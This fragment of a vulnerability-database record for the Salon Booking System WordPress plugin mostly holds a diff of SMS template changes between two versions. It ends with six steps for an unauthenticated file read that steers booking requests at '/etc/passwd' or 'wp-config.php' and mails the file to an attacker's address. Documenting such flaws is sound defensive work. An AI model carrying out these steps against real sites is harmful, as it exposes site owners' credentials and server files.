'&feedback_id=' . $booking->getId();\r\n-$msg = $plugin->getSettings()->get('feedback_message') . \"\\r\\n\" . $feedback_url;\r\n-$msg = str_replace(array('[NAME]', '[SALON NAME]'), array($customer->getName(), $plugin->getSettings()->getSalonName()), $msg);\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin           $plugin\n+ * @var SLN_Wrapper_Customer $customer\n+ *\u002F\n+$customer = $booking->getCustomer();\n+$custom_url = $plugin->getSettings()->get('custom_feedback_url');\n+$feedback_url = !empty($custom_url) ? $custom_url : home_url() . '?sln_customer_login=' . $customer->getHash() . '&feedback_id=' . $booking->getId();\n+$msg = $plugin->getSettings()->get('feedback_message') . \"\\r\\n\" . $feedback_url;\n+$msg = str_replace(array('[NAME]', '[SALON NAME]'), array($customer->getName(), $plugin->getSettings()->getSalonName($booking)), $msg);\n echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($msg) : $msg;\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fpending.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fpending.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fpending.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fpending.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -18,7 +18,7 @@\n     ),\n     array(\n \t$booking->getDisplayName(),\n-\t$plugin->getSettings()->getSalonName(),\n+\t$plugin->getSettings()->getSalonName($booking),\n     ),\n     $message\n );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fremind.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fremind.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fremind.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fremind.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,66 +1,66 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin          $plugin\r\n- * @var SLN_Wrapper_Booking $booking\r\n- *\u002F\r\n-\r\n-$template = $plugin->getSettings()->get('sms_remind_message');\r\n-\r\n-$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\r\n-\r\n-if ($template) {\r\n-\r\n-    $message = str_replace(\r\n-\tarray(\r\n-\t    '[NAME]',\r\n-\t    '[SALON NAME]',\r\n-\t    '[DATE]',\r\n-\t    '[TIME]',\r\n-\t    '[PRICE]',\r\n-\t    '[BOOKING ID]',\r\n-\t),\r\n-\tarray(\r\n-\t    $booking->getDisplayName(),\r\n-\t    $plugin->getSettings()->getSalonName(),\r\n-\t    $plugin->format()->date($bookingDateTime),\r\n-\t    $plugin->format()->time($bookingDateTime),\r\n-\t    $booking->getAmount(),\r\n-\t    $booking->getId(),\r\n-\t),\r\n-\t$template\r\n-    );\r\n-\r\n-    if (strlen($message) > 160) {\r\n-\t$more_string = __('...more details in the email confirmation', 'salon-booking-system');\r\n-\t$message     = substr($message, 0, ( 159 - strlen($more_string))) . $more_string;\r\n-    }\r\n-\r\n-    echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\r\n-\r\n-    return;\r\n-}\r\n-\r\n-$message =\r\n-__('Hi','salon-booking-system') .' ' . $booking->getFirstname() . ' ' . $booking->getLastname()\r\n-\r\n-. ' ' . __('don\\'t forget your reservation at','salon-booking-system').' '. $plugin->getSettings()->getSalonName()\r\n-. ' ' . __('on','salon-booking-system').' '. $plugin->format()->date($bookingDateTime)\r\n-. ' ' . __('at','salon-booking-system').' '. $plugin->format()->time($bookingDateTime)\r\n-. ' ' . __('| Booking ID ','salon-booking-system') .$booking->getId()\r\n-. ' ' . __('| Timing: ','salon-booking-system') .' ';\r\n-foreach($booking->getBookingServices()->getItems() as $bookingService){\r\n-        $bookingServiceStartsAt = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? $bookingService->getStartsAt()->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : $bookingService->getStartsAt();\r\n-\t$message .=  $bookingServiceStartsAt->format( 'H:i' )\r\n-\t.' '.  (($attendant = $bookingService->getAttendant()) ?\r\n-\t\t\t\t\t(!is_array($attendant) ?\r\n-\t\t\t\t\t\t$attendant->getTitle() :\r\n-\t\t\t\t\t\tSLN_Wrapper_Attendant::implodeArrayAttendantsName(', ', $attendant)) :\r\n-\t\t\t\t\t$bookingService->getService()->getTitle()).' ';\r\n-}\r\n-$message .= __('Price','salon-booking-system') .': '. $booking->getAmount();\r\n-if(strlen($message)>160){\r\n-\t$more_string = __('...more details in the email confirmation','salon-booking-system');\r\n-\t$message = substr($message, 0, ( 159 - strlen($more_string))).$more_string;\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin          $plugin\n+ * @var SLN_Wrapper_Booking $booking\n+ *\u002F\n+\n+$template = $plugin->getSettings()->get('sms_remind_message');\n+\n+$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\n+\n+if ($template) {\n+\n+    $message = str_replace(\n+\tarray(\n+\t    '[NAME]',\n+\t    '[SALON NAME]',\n+\t    '[DATE]',\n+\t    '[TIME]',\n+\t    '[PRICE]',\n+\t    '[BOOKING ID]',\n+\t),\n+\tarray(\n+\t    $booking->getDisplayName(),\n+\t    $plugin->getSettings()->getSalonName($booking),\n+\t    $plugin->format()->date($bookingDateTime),\n+\t    $plugin->format()->time($bookingDateTime),\n+\t    $booking->getAmount(),\n+\t    $booking->getId(),\n+\t),\n+\t$template\n+    );\n+\n+    if (strlen($message) > 160) {\n+\t$more_string = __('...more details in the email confirmation', 'salon-booking-system');\n+\t$message     = substr($message, 0, ( 159 - strlen($more_string))) . $more_string;\n+    }\n+\n+    echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\n+\n+    return;\n+}\n+\n+$message =\n+__('Hi','salon-booking-system') .' ' . $booking->getFirstname() . ' ' . $booking->getLastname()\n+\n+. ' ' . __('don\\'t forget your reservation at','salon-booking-system').' '. $plugin->getSettings()->getSalonName($booking)\n+. ' ' . __('on','salon-booking-system').' '. $plugin->format()->date($bookingDateTime)\n+. ' ' . __('at','salon-booking-system').' '. $plugin->format()->time($bookingDateTime)\n+. ' ' . __('| Booking ID ','salon-booking-system') .$booking->getId()\n+. ' ' . __('| Timing: ','salon-booking-system') .' ';\n+foreach($booking->getBookingServices()->getItems() as $bookingService){\n+        $bookingServiceStartsAt = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? $bookingService->getStartsAt()->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : $bookingService->getStartsAt();\n+\t$message .=  $bookingServiceStartsAt->format( 'H:i' )\n+\t.' '.  (($attendant = $bookingService->getAttendant()) ?\n+\t\t\t\t\t(!is_array($attendant) ?\n+\t\t\t\t\t\t$attendant->getTitle() :\n+\t\t\t\t\t\tSLN_Wrapper_Attendant::implodeArrayAttendantsName(', ', $attendant)) :\n+\t\t\t\t\t$bookingService->getService()->getTitle()).' ';\n+}\n+$message .= __('Price','salon-booking-system') .': '. $booking->getAmount();\n+if(strlen($message)>160){\n+\t$more_string = __('...more details in the email confirmation','salon-booking-system');\n+\t$message = substr($message, 0, ( 159 - strlen($more_string))).$more_string;\n+}\n echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fstatus_canceled.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fstatus_canceled.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fstatus_canceled.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fstatus_canceled.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -30,7 +30,7 @@\n     ),\n     array(\n         $booking->getDisplayName(),\n-        $plugin->getSettings()->getSalonName(),\n+        $plugin->getSettings()->getSalonName($booking),\n         $plugin->format()->date($bookingDateTime),\n         $plugin->format()->time($bookingDateTime),\n         $booking->getAmount(),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fsummary_modified.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fsummary_modified.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fsummary_modified.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fsummary_modified.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -20,7 +20,7 @@\n     ),\n     array(\n \t$booking->getDisplayName(),\n-\t$plugin->getSettings()->getSalonName(),\n+\t$plugin->getSettings()->getSalonName($booking),\n \t$plugin->format()->date($bookingDateTime),\n \t$plugin->format()->time($bookingDateTime),\n \t$booking->getAmount(),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fsummary.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fsummary.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fsummary.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fsummary.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,38 +1,38 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin          $plugin\r\n- * @var SLN_Wrapper_Booking $booking\r\n- *\u002F\r\n-\r\n-$default_template = SLN_Admin_SettingTabs_GeneralTab::getDefaultSmsNotificationMessage();\r\n-$template\t  = __(($plugin->getSettings()->get('sms_notification_message') ? $plugin->getSettings()->get('sms_notification_message') : $default_template), \"salon-booking-system\");\r\n-\r\n-$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\r\n-\r\n-$message = str_replace(\r\n-    array(\r\n-\t'[NAME]',\r\n-\t'[SALON NAME]',\r\n-\t'[DATE]',\r\n-\t'[TIME]',\r\n-\t'[PRICE]',\r\n-\t'[BOOKING ID]',\r\n-    ),\r\n-    array(\r\n-\t$booking->getDisplayName(),\r\n-\t$plugin->getSettings()->getSalonName(),\r\n-\t$plugin->format()->date($bookingDateTime),\r\n-\t$plugin->format()->time($bookingDateTime),\r\n-\t$booking->getAmount(),\r\n-\t$booking->getId(),\r\n-    ),\r\n-    $template\r\n-);\r\n-\r\n-if (strlen($message) > 160) {\r\n-    $more_string = __('...more details in the email confirmation', 'salon-booking-system');\r\n-    $message\t = substr($message, 0, ( 159 - strlen($more_string))) . $more_string;\r\n-}\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin          $plugin\n+ * @var SLN_Wrapper_Booking $booking\n+ *\u002F\n+\n+$default_template = SLN_Admin_SettingTabs_GeneralTab::getDefaultSmsNotificationMessage();\n+$template\t  = __(($plugin->getSettings()->get('sms_notification_message') ? $plugin->getSettings()->get('sms_notification_message') : $default_template), \"salon-booking-system\");\n+\n+$bookingDateTime = $plugin->getSettings()->isDisplaySlotsCustomerTimezone() && $booking->getCustomerTimezone() ? (new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i')))->setTimezone(new DateTimeZone($booking->getCustomerTimezone())) : new SLN_DateTime($booking->getDate()->format('Y-m-d') . ' ' . $booking->getTime()->format('H:i'));\n+\n+$message = str_replace(\n+    array(\n+\t'[NAME]',\n+\t'[SALON NAME]',\n+\t'[DATE]',\n+\t'[TIME]',\n+\t'[PRICE]',\n+\t'[BOOKING ID]',\n+    ),\n+    array(\n+\t$booking->getDisplayName(),\n+\t$plugin->getSettings()->getSalonName($booking),\n+\t$plugin->format()->date($bookingDateTime),\n+\t$plugin->format()->time($bookingDateTime),\n+\t$booking->getAmount(),\n+\t$booking->getId(),\n+    ),\n+    $template\n+);\n+\n+if (strlen($message) > 160) {\n+    $more_string = __('...more details in the email confirmation', 'salon-booking-system');\n+    $message\t = substr($message, 0, ( 159 - strlen($more_string))) . $more_string;\n+}\n+\n echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fverify.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fverify.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Fsms\u002Fverify.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Fsms\u002Fverify.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,16 +1,16 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-\u002F**\r\n- * @var SLN_Plugin          $plugin\r\n- * @var SLN_Wrapper_Booking $booking\r\n- *\u002F\r\n-$s = $plugin->getSettings();\r\n-$replaces = array(\r\n-    '{salon}' => $s->getSalonName(),\r\n-    '{phone}' => $s->get('gen_phone'),\r\n-    '{address}' => $s->get('gen_address'),\r\n-    '{email}' => $s->getSalonEmail(),\r\n-    '{code}' => $code\r\n-);\r\n-$message = str_replace(array_keys($replaces), array_values($replaces), __(\"Hi, \\nthis is your verification code on {salon}: \\n{code} \\nThank you very much. \\n{salon} \\n{address} \\n{phone} \\n{email}\", 'salon-booking-system'));\r\n-echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+\u002F**\n+ * @var SLN_Plugin          $plugin\n+ * @var SLN_Wrapper_Booking $booking\n+ *\u002F\n+$s = $plugin->getSettings();\n+$replaces = array(\n+    '{salon}' => $s->getSalonName(),\n+    '{phone}' => $s->get('gen_phone'),\n+    '{address}' => $s->get('gen_address'),\n+    '{email}' => $s->getSalonEmail(),\n+    '{code}' => $code\n+);\n+$message = str_replace(array_keys($replaces), array_values($replaces), __(\"Hi, \\nthis is your verification code on {salon}: \\n{code} \\nThank you very much. \\n{salon} \\n{address} \\n{phone} \\n{email}\", 'salon-booking-system'));\n+echo $plugin->getSettings()->get('sms_ascii_mode') ? remove_accents($message) : $message;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Ftrial\u002Fadmin_end.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Ftrial\u002Fadmin_end.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Ftrial\u002Fadmin_end.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Ftrial\u002Fadmin_end.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,8 +1,8 @@\n-\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\r\n-\u003Cdiv id=\"sln-setting-error\" class=\"updated error\">\r\n-    \u003Cp>\u003C?php _e('Your free version is expired. \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\" target=\"blank\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.','salon-booking-system') ?>\r\n-\r\n-    \u003Cp>\u003C?php _e('\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Finvite-friends-get-20-discount-first-purchase\u002F\" target=\"blank\">INVITE YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>','salon-booking-system');?>\u003C\u002Fp>\r\n-\u003C\u002Fdiv>\r\n-\r\n-\r\n+\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\n+\u003Cdiv id=\"sln-setting-error\" class=\"updated error\">\n+    \u003Cp>\u003C?php _e('Your free version is expired. \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\" target=\"blank\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.','salon-booking-system') ?>\n+\n+    \u003Cp>\u003C?php _e('\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Finvite-friends-get-20-discount-first-purchase\u002F\" target=\"blank\">INVITE YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>','salon-booking-system');?>\u003C\u002Fp>\n+\u003C\u002Fdiv>\n+\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Ftrial\u002Fadmin_near.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Ftrial\u002Fadmin_near.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fviews\u002Ftrial\u002Fadmin_near.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fviews\u002Ftrial\u002Fadmin_near.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,7 +1,7 @@\n-\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\r\n-\u003Cdiv id=\"sln-setting-error\" class=\"updated error\">\r\n-    \u003Cp>\u003C?php _e('You are going to reach the bookings limit for the Salon Booking free version. \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\" target=\"blank\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.','salon-booking-system') ?>\r\n-\r\n-    \u003Cp>\u003C?php _e('\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Finvite-friends-get-20-discount-first-purchase\u002F\" target=\"blank\">INVITE YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>','salon-booking-system');?>\u003C\u002Fp>\r\n-\u003C\u002Fdiv>\r\n-\r\n+\u003C?php \u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped ?>\n+\u003Cdiv id=\"sln-setting-error\" class=\"updated error\">\n+    \u003Cp>\u003C?php _e('You are going to reach the bookings limit for the Salon Booking free version. \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\" target=\"blank\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.','salon-booking-system') ?>\n+\n+    \u003Cp>\u003C?php _e('\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\"http:\u002F\u002Fsalonbookingsystem.com\u002Finvite-friends-get-20-discount-first-purchase\u002F\" target=\"blank\">INVITE YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>','salon-booking-system');?>\u003C\u002Fp>\n+\u003C\u002Fdiv>\n+\n","1. Access a public booking page containing the [salon_booking] or [salonlb] shortcode and extract the AJAX nonce from the localized 'salon' object (specifically window.salon.ajax_nonce).\n2. Identify the field ID for a custom field of type 'File' within the booking form; if none exists, one must be active for the exploit to work.\n3. Construct an unauthenticated AJAX POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' using the action 'salon' and the method 'saveBooking'.\n4. Populate the request with standard booking details (first_name, last_name, email, service, date, time) and use the 'sln[FIELD_ID]' parameter to specify the target file path (e.g., '\u002Fetc\u002Fpasswd' or '..\u002F..\u002F..\u002F..\u002Fwp-config.php').\n5. Set the 'sln[email]' parameter to an email address controlled by the attacker.\n6. Submit the request; upon success, the plugin triggers a confirmation email containing the contents of the specified local file as an attachment.","gemini-3-flash-preview","2026-05-04 17:05:24","2026-05-04 17:06:11",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","10.30.23","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalon-booking-system\u002Ftags\u002F10.30.23","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsalon-booking-system.10.30.23.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalon-booking-system\u002Ftags\u002F10.30.26","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsalon-booking-system.10.30.26.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsalon-booking-system\u002Ftags"]